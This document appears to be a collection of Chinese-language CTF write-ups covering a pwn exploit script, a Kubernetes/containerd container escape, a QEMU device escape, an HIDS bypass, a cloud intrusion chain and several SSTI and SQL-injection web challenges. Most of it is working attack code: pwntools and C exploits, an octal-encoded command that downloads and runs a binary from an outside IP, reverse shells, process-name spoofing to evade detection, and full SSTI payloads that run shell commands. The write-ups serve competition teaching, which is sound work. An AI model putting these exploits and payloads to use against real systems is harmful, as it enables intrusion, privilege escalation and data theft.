package main import ( "fmt" "encoding/base64" "crypto/x509" "crypto/rsa" "crypto/rand" "crypto/sha256" "io/ioutil" ) func main(){ f,err := ioutil.ReadFile("./privateKey") if err !=nil{ fmt.Println("error read privatekey") } decodetext,err := ioutil.ReadFile("./flag") if err !=nil{ fmt.Println("error read flag") } keybytes,err := base64.StdEncoding.DecodeString(string(f)) if err !=nil{ fmt.Println("error decodebase64") } privatekey,err := x509.ParsePKCS1PrivateKey(keybytes) if err !=nil{ fmt.Println("error x509") } decryptedtext,err := rsa.DecryptOAEP(sha256.New(),rand.Reader,privatekey,decodetext,nil) if err !=nil{ fmt.Println("error decrypt") } fmt.Println(string(decryptedtext)) }
exploit.py
from pwn import * import os import time p = process("./main") #p = remote("127.0.0.1",60001) context.log_level="debug" #gdb.attach(p,"b *0x6c162f\nb *0x437b1f") p.sendline("aa") def list(p): p.recvuntil(">>\n") p.sendline("1") def upload(name,p): p.recvuntil(">>\n") p.sendline("2") p.recvuntil(">>\n") p.sendline(name) def download(name,p): p.recvuntil(">>\n") p.sendline("3") p.recvuntil(">>\n") p.sendline(name) upload("a"*0x200,p) p.recvuntil("fp=") stack_addr = int(p.recv(9)+"e00",16) time.sleep(1) p.close() p = process("./main") #p = remote("127.0.0.1",60001) p.sendline("aa") upload(p64(0x6c0700)+"a"*0xa0+"b"*0x50+"d"*0x8+p64(stack_addr)+"f"*0x8+"e"*0x10+"c"*0x48+p64(stack_addr)+p64(stack_addr),p) p.recvuntil(">>\n") p.sendline("../flag") p.recvuntil("upload file_name:") file_name = p.recvline()[:-1] print file_name p.recvuntil("privateKey: ") privateKey = p.recvline() print privateKey with open("./privateKey","wb") as f: f.write(privateKey) time.sleep(3) p1 = process("./main") #p1 = remote("127.0.0.1",60001) p1.sendline("aa") download(file_name,p1) p1.recvuntil("GMT\n") encrypt_flag = p1.recvuntil("####")[:-5] with open("./flag","wb") as f: f.write(encrypt_flag) p1.close() process = os.popen("./decrypt") output = process.read() print output process.close()
nday_container_escape
1. 背景
在筹备比赛题目的时间里,有一个新爆出的漏洞CVE-2020-15257比较火。漏洞出现在docker的关键组件containerd中,当一个容器拥有host网络命名空间时,可以导致容器逃逸。这首次揭示了network namespace的安全风险,具有一定的借鉴意义。
但是,这个漏洞从实践层面上看又有一点鸡肋:
-
host网络通常较少在实际场景中出现(因为端口转发通常已足够使用)
-
host网络在CIS docker基线中是一个禁止项,因此成熟的生产环境中,几乎不会出现该场景
-
即使使用了host网络的容器,不一定公网可访问,不一定存在命令执行漏洞
为此漏洞的利用场景受限感到惋惜的同时,我希望能构建一个更常用的环境,放大其利用场景。
CVE-2020-8558就是一个非常好用的放大器(不起眼,实战中不一定修复),该漏洞是由于kube-proxy默认设置了route_localnet,允许邻近主机绕过localhost边界。
因此我们可能从一个非host网络容器直接逃逸!
2. 环境搭建
根据上述分析,我们很容易可以构造这样一个贴近实战的漏洞利用链:CVE-2020-8558--->k8s 10250--->CVE-2020-15257
其环境大致如下:
我将上述环境搭建在了qemu里,选手可以ssh进入qemu中的容器内,发现漏洞并逃逸至qemu。
上述qemu被封装在了一个docker镜像中(所以实际环境是一个docker in qemu in docker的环境),可以使用以下配置启动环境
version: '3' services: challenge: image: swr.cn-south-1.myhuaweicloud.com/huaweictf/ctf_nday_docker_escape:v0.1 ports: - "2222:22"
3. writeup
3.1 信息收集
以ctf/ctf进入环境,我们大致会看到这样一些信息,此时我们位于一个容器内,该容器由k8s启动的
st0n3@yoga:~$ ./ctf.expect spawn ssh -o StrictHostKeyChecking=no [email protected] [email protected]'s password: Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-47-generic x86_64) ... ++ sudo KUBECONFIG=/etc/kubernetes/admin.conf kubectl get pods --selector=app=ubuntu --template '{{range .items}}{{.metadata.name}}{{end}}' + name=ubuntu-deployment-55786db8b8-qqmkf ++ sudo docker ps -f name=k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf --format '{{.Names}}' + container_name=k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf_default_e4aaee57-ad1c-42eb-a0c0-a175bdaec7cd_6 + sudo docker exec -ti -u root k8s_ubuntu_ubuntu-deployment-55786db8b8-qqmkf_default_e4aaee57-ad1c-42eb-a0c0-a175bdaec7cd_6 /bin/bash root@ubuntu-deployment-55786db8b8-qqmkf:/# root@ubuntu-deployment-55786db8b8-qqmkf:/# cat /proc/self/cgroup 12:pids:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 11:rdma:/ 10:devices:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 9:hugetlb:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 8:memory:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 7:perf_event:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 6:cpu,cpuacct:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 5:cpuset:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 4:freezer:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 3:blkio:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 2:net_cls,net_prio:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 1:name=systemd:/kubepods/besteffort/pode4aaee57-ad1c-42eb-a0c0-a175bdaec7cd/236cebd4929cca71dd991a39a8625f4f856422dbe690ad6b1261f80caf4418f7 0::/system.slice/containerd.service
因为看到了k8s相关的信息,所以我们可以条件反射式的找到k8s token
root@ubuntu-deployment-55786db8b8-qqmkf:/# cat /var/run/secrets/kubernetes.io/serviceaccount/token
eyJhbGciOiJSUzI1NiIsI...
宿主机信息收集:
root@ubuntu-deployment-55786db8b8-qqmkf:/# sed -i "s@http://.*ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get update && apt-get install curl -y
security-groupsroot@ubuntu-deployment-55786db8b8-qqmkf:/# curl http://169.254.169.254/latest/meta-data/local-ipv4
192.168.1.117
注意,以上步骤在选手本地环境中无法实现(因为是模拟的云环境),但对宿主机网络进行探测的方式有很多种,下面也会提及。
此时我们可以对该ip上开启的服务进行探测
root@ubuntu-deployment-55786db8b8-qqmkf:~# nmap -F 192.168.1.117
Starting Nmap 7.80 ( https://nmap.org ) at 2020-12-21 03:16 UTC
Stats: 0:00:00 elapsed; 0 hosts completed (0 up), 1 undergoing Ping Scan
Ping Scan Timing: About 100.00% done; ETC: 03:16 (0:00:00 remaining)
Nmap scan report for 192-168-1-117.kubernetes.default.svc.cluster.local (192.168.1.117)
Host is up (0.0000040s latency).
Not shown: 98 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
经过类似上述常规的思路进行信息收集后,我们还是觉得不太够。好在我们本地已有环境的所有内容。我们分析一下比赛提供给选手的本地镜像文件:
╰$ docker ps |grep escape
d95748ab048b swr.cn-south-1.myhuaweicloud.com/huaweictf/ctf_nday_docker_escape:v0.1 "/start_vm.sh" 13 hours ago Up 13 hours 0.0.0.0:2222->22/tcp downloads_challenge_1
╰$ docker exec -ti -u root d95 bash
root@d95748ab048b:/# ls
bin boot cloud.img cloud.txt dev etc home init_qemu.expect lib lib32 lib64 libx32 media mnt opt proc root run sbin srv start_vm.sh sys tmp ubuntu-20.04-server-cloudimg-amd64.img usr var
其中,容器的启动文件为start_vm.sh,同时还有cloud.img, cloud.txt, ubuntu-20.04-server-cloudimg-amd64.img等与题目相关的文件。
cloud.txt是环境搭建的具体配置,其中包括qemu的root密码及相关软件的版本(注意,真实环境root密码不同,此处密码仅供选手调试使用)
root@d95748ab048b:/# cat cloud.txt
#cloud-config
user: root
password: root
....
- apt-get install -y docker.io kubelet=1.18.3-00 kubeadm=1.18.3-00 kubectl=1.18.3-00
上述信息我们也可以直接重置qemu磁盘中的root密码后,进入qemu内获取。
我们直接启动qemu,并以root用户进入qemu,以便我们更好的了解题目结构:
# docker version
Client:
Version: 19.03.8
API version: 1.40
Go version: go1.13.8
Git commit: afacb8b7f0
Built: Wed Oct 14 19:43:43 2020
OS/Arch: linux/amd64
Experimental: false
Server:
Engine:
Version: 19.03.8
API version: 1.40 (minimum version 1.12)
Go version: go1.13.8
Git commit: afacb8b7f0
Built: Wed Oct 14 16:41:21 2020
OS/Arch: linux/amd64
Experimental: false
containerd:
Version: 1.3.3-0ubuntu2
GitCommit:
runc:
Version: spec: 1.0.1-dev
GitCommit:
docker-init:
Version: 0.18.0
GitCommit:
root@ubuntu:~# kubelet --version
Kubernetes v1.18.3
3.2 利用思路
根据相关软件版本信息,我们可以发现以下漏洞
-
k8s: CVE-2020-8558
-
containerd: CVE-2020-15257
但在我们初始进入的容器中,没有CVE-2020-15257必需的host network条件, 但在另一台nginx容器中发现使用了host network
# kubectl get pods
NAME READY STATUS RESTARTS AGE
nginx-deployment-6dc88697bf-tkk6f 1/1 Running 6 3d1h
ubuntu-deployment-55786db8b8-qqmkf 1/1 Running 6 3d
root@hwc-ctf-nday-container-escape-with-flag:~# kubectl get pod nginx-deployment-6dc88697bf-tkk6f -o yaml
...
spec:
containers:
- image: nginx:1.14.2
imagePullPolicy: IfNotPresent
name: nginx
ports:
- containerPort: 80
hostPort: 80
protocol: TCP
resources: {}
terminationMessagePath: /dev/termination-log
terminationMessagePolicy: File
volumeMounts:
- mountPath: /var/run/secrets/kubernetes.io/serviceaccount
name: default-token-2lcjs
readOnly: true
dnsPolicy: ClusterFirst
enableServiceLinks: true
hostNetwork: true
...
因此,如果我们可以移动到nginx容器上,则可以利用CVE-2020-15257实现逃逸。
在k8s中移动,很自然得会想到需要一个跳板——k8s api
# netstat -anp |grep kube
tcp 0 0 127.0.0.1:10248 0.0.0.0:* LISTEN 541/kubelet
tcp 0 0 127.0.0.1:10249 0.0.0.0:* LISTEN 4219/kube-proxy
tcp 0 0 127.0.0.1:10250 0.0.0.0:* LISTEN 541/kubelet
tcp 0 0 127.0.0.1:10257 0.0.0.0:* LISTEN 2943/kube-controlle
tcp 0 0 127.0.0.1:10259 0.0.0.0:* LISTEN 2921/kube-scheduler
tcp 0 0 127.0.0.1:46775 0.0.0.0:* LISTEN 541/kubelet
...
tcp6 0 0 :::6443 :::* LISTEN 2934/kube-apiserver
tcp6 0 0 :::10251 :::* LISTEN 2921/kube-scheduler
tcp6 0 0 :::10252 :::* LISTEN 2943/kube-controlle
tcp6 0 0 :::10256 :::* LISTEN 4219/kube-proxy
tcp6 0 0 192.168.1.117:6443 10.244.0.22:40524 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:4927 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:45714 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 ::1:6443 ::1:53110 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 10.244.0.23:53220 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:45776 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 ::1:53110 ::1:6443 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:45784 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:45716 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:45554 ESTABLISHED 2934/kube-apiserver
tcp6 0 0 192.168.1.117:6443 192.168.1.117:45556 ESTABLISHED 2934/kube-apiserver
我们发现了127.0.0.1:10250和192.168.1.117:6443较为敏感,但经过尝试我们发现使用容器的token似乎无法访问apiserver的api
root@hwc-ctf-nday-container-escape-with-flag:~# curl -k https://192.168.1.117:6443/api/v1/pods -H "Authorization: Bearer $token"
{
"kind": "Status",
"apiVersion": "v1",
"metadata": {
},
"status": "Failure",
"message": "pods is forbidden: User \"system:serviceaccount:default:default\" cannot list resource \"pods\" in API group \"\" at the cluster scope",
"reason": "Forbidden",
"details": {
"kind": "pods"
},
"code": 403
但可以使用10250
root@hwc-ctf-nday-container-escape-with-flag:~# curl -k https://127.0.0.1:10250/pods -H "Authorization: Bearer $token"
{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-proxy-wkq47","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-wkq47","uid":"97f98bae-7c73-4fa2-b10c-769dc04728a1","resourceVersion":"8616","creationTimestamp":"2020-12-18T02:10:44Z","labels":{"controller-revision-hash":"6c749dc6c4","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2020-12-19T22:46:29.084763601+08:00","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"47cbac3b-60f0-440e-b73d-079740a4bb46","controller":true,"blockOwnerDele...
因此我们可由10250移动至nginx
但问题是10250是绑定在宿主机127.0.0.1上的,在容器内无法直接访问。这时我们可以很自然的联想到CVE-2020-8558。
因此完整的利用链如下
-
在ubuntu容器中利用CVE-2020-8558,访问宿主机127.0.0.1
-
利用ubuntu容器中的token,访问宿主机的10250端口,横向移动至nginx容器
-
在nginx容器中利用CVE-2020-15257逃逸至宿主机
3.3 完整利用过程
root@ubuntu-deployment-55786db8b8-qqmkf:/# sed -i "s@http://.*ubuntu.com@http://repo.huaweicloud.com@g" /etc/apt/sources.list
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get update
root@ubuntu-deployment-55786db8b8-qqmkf:/# apt-get install -y curl wget python3 python3-pip
root@ubuntu-deployment-55786db8b8-qqmkf:/# pip3 install scapy
root@ubuntu-deployment-55786db8b8-qqmkf:/# python3 poc-2020-8558.py 192.168.1.117 &
[1] 4414
root@ubuntu-deployment-55786db8b8-qqmkf:/# token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
root@ubuntu-deployment-55786db8b8-qqmkf:/# url="https://198.51.100.1:10250"
root@ubuntu-deployment-55786db8b8-qqmkf:/# api="/run/default/$target/nginx"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -k $url/pods -H "Authorization: Bearer $token"
{"kind":"PodList"...
root@ubuntu-deployment-55786db8b8-qqmkf:/# target="nginx-deployment-6dc88697bf-tkk6f"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d 'cmd=sed -i s@http://.*debian.org@http://repo.huaweicloud.com@g /etc/apt/sources.list'
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=apt-get update"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=apt-get install -y wget"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=wget https://xxx/cdk_linux_amd64"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=chmod -c 755 cdk_linux_amd64"
root@ubuntu-deployment-55786db8b8-qqmkf:/# curl -X POST -k $url/run/default/$target/nginx -H "Authorization: Bearer $token" -d "cmd=./cdk_linux_amd64 run shim-pwn 10.244.0.21 2333"
接收反弹shell
root@ubuntu-deployment-55786db8b8-qqmkf:/# nc -lvp 2333 Listening on 0.0.0.0 2333 Connection received on 10.244.0.1 46900 bash: cannot set terminal process group (4366): Inappropriate ioctl for device bash: no job control in this shell <f096a309f175a39f23fce68ffc0032ee64916c/merged/tmp# hostname hostname hwc-ctf-nday-container-escape-with-flag <f096a309f175a39f23fce68ffc0032ee64916c/merged/tmp# cat /flag cat /flag flag{1ffc4afe-d52a-4476-ad00-1f5c8e9a063d}
注:本文使用的相关cve的exp分别为:
qemu-zzz
说明
这是一道qemu逃逸题,在程序启动时添加了一个设备zzz,zzz设备中预留了一个off by one的漏洞。
-
zzz的代码是基于edu.c的代码进行编写的
启动脚本
#! /bin/sh #gdb --args \ ./qemu-system-x86_64 \ -initrd ./rootfs.cpio \ -kernel ./bzImage \ -append 'console=ttyS0 root=/dev/ram oops=panic panic=1 quiet kalsr' \ -monitor /dev/null \ -m 64M --nographic \ -device zzz \ -L pc-bios
漏洞位置
if ( obj->idx + cnt - 1 > DMA_SIZE ) { return ; }
利用过程
-
通过单字节溢出泄露设备地址的最后一位
-
修改最后一位导致设备基址发生变化,设备中变量位置发生偏移
-
在dma_buf中预留数据,设备发生偏移时,可以控制地址,长度,偏移的内容
-
根据新的偏移和长度,泄露出堆地址和程序地址
-
通过xor操作修改长度和偏移,修改读写标志位,导致从写到读
-
向dma_rw函数指针地址写入system,在对齐的偏移处写入要执行的命令
int main(int argc, char *argv[])
{
userbuf = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
if (userbuf == MAP_FAILED)
die("mmap");
mlock(userbuf, 0x1000);
phy_userbuf=gva_to_gpa(userbuf);
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR | O_SYNC);
if (fd == -1)
{
die("open resource0 faild\n");
}
mmio_mem = mmap(0, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
if (mmio_mem == MAP_FAILED)
{
die("mmap faild\n");
}
printf("addr %p,0x%lx\n",userbuf,phy_userbuf);
// set dma addr
mmio_write(0x20,phy_userbuf >> 12);
//memcpy(userbuf,"/bin/sh\x00",8);
// addr
*(uint64_t*)(userbuf + 0x11) = phy_userbuf;
// cnt
*(uint16_t*)(userbuf + 0x11 +8) = 0xff5;
// idx
*(uint16_t*)(userbuf + 0x11 +8+2) = 11;
set_idx(0);
set_cnt(0x30);
mmio_write(0x60,0);
set_idx(0x1000-1);
set_cnt(2|1);
mmio_write(0x60,0);
uint8_t off = userbuf[1];
printf("leak = %hhx\n",off);
// cnt
*(uint16_t*)(userbuf) = 0xff5;
// idx
*(uint16_t*)(userbuf+2) = 11;
userbuf[0x1000-0x19] = off + 0x21;
set_idx(0x19);
set_cnt(0x1000-0x19+1);
mmio_write(0x60,0);
// new buf = dma_buf + 0x21;
// leak ptr
mmio_write(0x60,0);
uint64_t device = *(uint64_t*)&userbuf[0x1000-0x21-11];
uint64_t dma_rw = *(uint64_t*)&userbuf[0x1000-0x21-11+8];
uint64_t dma_buf = device + 0x9cf;
printf("device = 0x%lx\n",device);
printf("dma_rw = 0x%lx\n",dma_rw);
// encrypt
mmio_write(0x50,0);
// idx = 11 ^ 521 = 514
// cnt = 0xff5 ^ 521 = 0xdfc
uint64_t start = dma_buf + 0x21 + 514;
uint64_t align = (start + 0xfff) & ~0xfff;
assert(align <= start + 0xdfc);
printf("start = 0x%lx\n",start);
printf("align = 0x%lx\n",align);
*(uint64_t *)userbuf = align;
*(uint16_t *)(userbuf + 8) = 0;
*(uint16_t *)(userbuf + 8 + 2) = 0;
char cmd[] = "/bin/sh\x00";
memcpy(userbuf + (align - start),cmd,sizeof(cmd));
// idx = 514
*(uint64_t *)&userbuf[0x1000-0x21-514] = device + 514 + 0x10;
*(uint64_t *)&userbuf[0x1000-0x21-514+8] = dma_rw - 0x314b40;
// write
mmio_write(0x60,0);
mmio_write(0x60,0);
}
WEB
hids
用8进制编码绕过命令字符的过滤
whoami可转换成$(printf$IFS"\167\150\157\141\155\151");
伪装进程,绕过检测程序
根目录下发现detect.py文件,会定时kill非web的进程 查看检测逻辑,可知只要伪装ppid和进程名即可绕过
-
ppid绕过,通过fork子进程后退出
-
进程名绕过,通过修改argv即可 在自己的vps编译下面的c文件,可以得到运行/readflag的exp
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
#include<string.h>
int main(int argc, const char* argv[], const char* envp[])
{
int i;
for (i = 0; envp[i]; ++i);
const char *p = envp[i-1] + strlen(envp[i-1]) + 1;
//move environ info
char **ptrs = (char**)malloc(sizeof(char*) * i);
ptrs[0] = (char*)malloc(p - envp[0]);
memcpy(ptrs[0], envp[0], p - envp[0]);
//copy ptr address
for (int j = 1; j < i; ++j) {
ptrs[j] = ptrs[j-1] + (envp[j] - envp[j-1]);
}
for (int j = 0; j < i; ++j) {
envp[j] = ptrs[j];
}
free((void*)ptrs);
memset((char*)argv[0], 0, p - argv[0]);
snprintf((char*)argv[0], p - argv[0], "/usr/sbin/cron");
pid_t pid = fork();
if(pid>0)exit(0);
else if(pid==0){
sleep(1);
int ret = execv("/readflag", argv);
}
return 0;
}
获取flag流程
1.执行
$(printf$IFS"\143\165\162\154\40\61\61\67\56\65\60\56\67\56\62\63\60\57\145\170\160\40\55\157\40\57\164\155\160\57\145\170\160");$(printf$IFS"\143\150\155\157\144\40\53\170\40\57\164\155\160\57\145\170\160");$(printf$IFS"\57\164\155\160\57\145\170\160")>$(printf$IFS"\57\164\155\160\57\146\154\141\147");
即curl 117.50.7.230/exp -o /tmp/exp ; chmod +x /tmp/exp ;/tmp/exp > /tmp/flag;的编码形式 其中117.50.7.230/exp可以换成自己编译好的exp的地址
2.90秒后,执行下面的命令,读取flag(即cat /tmp/flag;)
$(printf$IFS"\143\141\164\40\57\164\155\160\57\146\154\141\147");
3.清除flag,避免被他人利用(即rm -rf /tmp/*)
$(printf$IFS"\162\155\40\55\162\146\40\57\164\155\160\57\52");
cloud
该题目模拟了一个配置不当的云环境
-
作为⼀个云服务商的对外展示站,本站⼊⼝点是⼀个静态⽹站,我们对⽹站进⾏扫描,发现以下⼀些有趣的地⽅
管理员登录⼝ /admin
``` phpinfo.php ``` 结合中间件Nginx来判断,⽬标服务器存在反向代理的情况。同时托管了半静态⽹站(beego框架)和php
-
通过对管理员登录⼝的弱密码猜解, admin:admin 可以获得以下信息,很明显这是上⼀个⿊客留下的后⻔程序。
得到shadowclient的源代码。分析源代码可以得知这是⼀个websocket隧道代理
通过编译运⾏并通过附加cookie的参数就能向以服务器⽹络权限服务器发起访问。
./shadowclient -c beegosessionID=65c3ab016dc35d4c902755456d11209b -l 127.0.0.1:10800 -o http://127.0.0.1 -p UAF -r ws://localhost/wsproxy
接下来,可以进⾏服务端端⼝探测了
挂上代理,使用proxychians + nmap -sT 端口扫描,可以得到127.0.0.1开放了端口9000,是php-fpm的端口,可以 rce,参考 phith0n 的脚本打一下
https://gist.github.com/phith0n/9615e2420f31048f7e30f3937356cf75
获得了 www-data 权限,在根目录可以找到 flag1。
-
研究后台其他进程,可以看到一个叫 sharewaf 的软件正在运行,监听了端口 13090
查看该软件的⽂档 http://www.sharewaf.com/
账号密码在 根目录的 password.txt.swp 中可以找到登录用的账号密码。
登陆 waf 后台后,在其他页面中可以在安全辅助功能中插入代码,直接插入 js 代码,
var exec = require('child_process').exec; function execute(cmd){ exec(cmd, function(error, stdout, stderr) { if(error){ console.error(error); } else{ console.log("success"); } }); } execute('ls /root > /tmp/1.txt'); execute('cat /root/*.txt >> /tmp/1.txt');
重启 waf 即可触发 js 代码执行,反弹 shell 或者列目录 /root 即可看到flag2,完成提权过程。
此时的⽤户是root
⾄此我们完成了从外⽹突破到内⽹应⽤攻击到内⽹提权的过程。
备注
该题有两个flag
/flag1: 82648554-ff31-460a-977e-c1008ea6e02e /root/flag2: d43af794-94ef-40d1-af75-b4e8c6ca3bf3
mine1
该题目考察SSTI绕过技巧
主页是一个扫雷游戏,完成游戏后将进入/success
界面
location.href = './success?msg='+name;
进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格
经过FUZZ可以发现过滤了_ [ ' " path args host headers endpoint json user_agent
正常的SSTI思路是很难实现了,这里需要利用的是request对象,request对象有很多属性,其中大部分属性都被过滤了,而我们可以使用其data属性。
而data属性得到的是一个byte型数据,我们可以用decode()函数将其转换为字符串,然后用split()函数得到一个数组,从而实现SSTI
最终payload:
GET /success?msg={{1|attr(request.data.decode().split().pop(0))|attr(request.data.decode().split().pop(1))|attr(request.data.decode().split().pop(2))()|attr(request.data.decode().split().pop(3))(71)|attr(request.data.decode().split().pop(4))|attr(request.data.decode().split().pop(5))|attr(request.data.decode().split().pop(3))(request.data.decode().split().pop(6))|attr(request.data.decode().split().pop(3))(request.data.decode().split().pop(7))(request.data.decode().split().pop(8))}} HTTP/1.1
Host: 39.96.23.228:10002
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 130
__class__ __base__ __subclasses__ __getitem__ __init__ __globals__ __builtins__ eval __import__("os").popen("cat<flag.txt").read()
mine2
该题目考察SSTI绕过技巧
主页是一个扫雷游戏,完成游戏后将进入/success
界面
location.href = './success?msg='+name;
进入该页面后可以看到我们的msg参数将显示在页面中,尝试进行SSTI,发现存在SSTI 但是过滤非常严格
经过FUZZ可以发现过滤了~ set or args _ [ request lipsum = chr json g . ' {{ u get
空格等字符
首先,过滤了{{可以用 {% %}来代替
然后选手需要考虑的是如果构造出被ban的字符串,比如带_的字符串。
set被过滤导致选手无法通过变量赋值来得到想要的字符串,比如set se=dict(se=1).keys()|reverse|first
就将se这个字符串赋值给了se变量。
~被过滤导致选手无法使用一些巧妙的拼接技巧来获取想要的字符串
[
和 or
被过滤导致选手难以通过[index]
或{%for %}
等技巧获取数组中的值
.被过滤导致选手无法使用一些常用函数,只能使用过滤器
u被过滤是为了防止unicode编码非预期
那么这里考察的就是选手对过滤器以及python内置类的方法的掌握程度了
经过查阅python手册,可以找到python的'byte'类存在fromhex方法,可以从十六进制转换为字符串。
那么我们可以通过 "a"|attr("encode")()
得到byte类型的数据,然后通过fromhex得到目标字符串,然后再通过decode函数转回字符串类型,最后一个attr过滤器,就可以进行ssti注入了
这里我们为了从数组中得到某个元素,我们需要调用其pop方法或者get方法,但是需要注意的是,pop方法会破坏环境,导致pop得到数组元素后,下一次再想获取数组元素就获取不到了。
而且这里get和pop字符串也被过滤了,如何用十六进制转换回字符串,再将他作为函数名来调用,这也是选手需要考虑的问题。
最终payload:
{%print("a"|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f636c6173735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f6d726f5f5f")|attr("decode")())|last|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f737562636c61737365735f5f")|attr("decode")())()|attr("pop")(414)|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f696e69745f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("5f5f676c6f62616c735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f6275696c74696e735f5f")|attr("decode")())|attr("FLAG"|attr("encode")()|attr("fromhex")("676574")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("6576616c")|attr("decode")())("FLAG"|attr("encode")()|attr("fromhex")("5f5f696d706f72745f5f28226f7322292e706f70656e28276361743c666c61672e74787427292e726561642829")|attr("decode")()))%}
pyer
本题目主要考察基于sqlite的注入以及ssti的利用
基于sqlite的sql注入
题目开始是一个登陆界面,经过测试可以知道有sql注入漏洞,且为sqlite数据库 可以通过bool注入得到口令为sqlite_not_safe
SSTI
然后是SSTI进行代码执行,这里是python3的环境,因此payload为:
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat flag.txt').read()") }}{% endif %}{% endfor %}
最终的payload为,需要注意的是sqlite的'转义并不是',而是''
1' union select '{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__==''catch_warnings'' %}{{ c.__init__.__globals__[''__builtins__''].eval("__import__(''os'').popen(''cat flag.txt'').read()") }}{% endif %}{% endfor %}
webshell
出题思路
本地旨在模拟一个云环境的漏洞利用场景,难度设计为签到难度,但希望能尽量逼近云环境。
所以基于yara和一些动态检测规则,构造了一个webshell检测的环境。
-
检测端:部署yara及动态检测,提供api用于webshell检测服务
-
为保证选手解题体验,选手端独立部署
-
选手上传webshell,后台上传至检测端,并根据检测结果打印回显
-
考虑到在云场景中使用比php多,本题使用jsp
为避免过多误报,检测规则不能设计得过于严格,同时预留了一些允许命令执行的函数以降低难度,因此也会存在多种解法。
writeup
随便上传一个kali下自带的webshell,会收到回显it's a webshell, hacker!
